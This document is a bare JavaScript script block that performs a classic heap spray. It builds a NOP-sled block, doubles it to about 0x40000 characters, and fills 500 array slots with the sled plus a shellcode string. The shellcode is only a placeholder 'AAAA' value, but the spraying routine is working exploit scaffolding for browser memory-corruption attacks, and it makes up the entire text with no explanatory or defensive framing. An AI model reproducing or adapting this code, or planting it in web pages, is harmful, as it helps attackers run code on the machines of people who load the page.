<script >

var shellcode = unescape('%u4141%u4141');

var bigblock = unescape('%u9090%u9090');

var headersize = 20;

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

</script>